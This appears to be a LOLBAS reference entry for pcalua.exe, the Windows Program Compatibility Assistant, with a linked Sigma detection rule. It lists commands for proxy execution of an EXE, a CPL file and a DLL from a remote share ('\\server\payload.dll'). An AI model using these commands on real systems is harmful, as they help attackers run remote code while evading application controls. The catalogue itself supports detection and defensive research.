.. /Pcalua.exe
Star

Program Compatibility Assistant

Paths:

C:\Windows\System32\pcalua.exe

Resources:

https://twitter.com/KyleHanslovan/status/912659279806640128

Acknowledgements:

Kyle Hanslovan (@kylehanslovan)
Fab (@0rbz_)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml

Execute

Open the target .EXE using the Program Compatibility Assistant.
```
pcalua.exe -a calc.exe
```
Use case
Proxy execution of binary

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1202
Open the target .DLL file with the Program Compatibilty Assistant.
```
pcalua.exe -a \\server\payload.dll
```
Use case
Proxy execution of remote dll file

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1202
Tags
Execute: DLL
This LOLBAS executes Dynamic-Link Libraries (DLLs).
Open the target .CPL file with the Program Compatibility Assistant.
```
pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
```
Use case
Execution of CPL files

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1202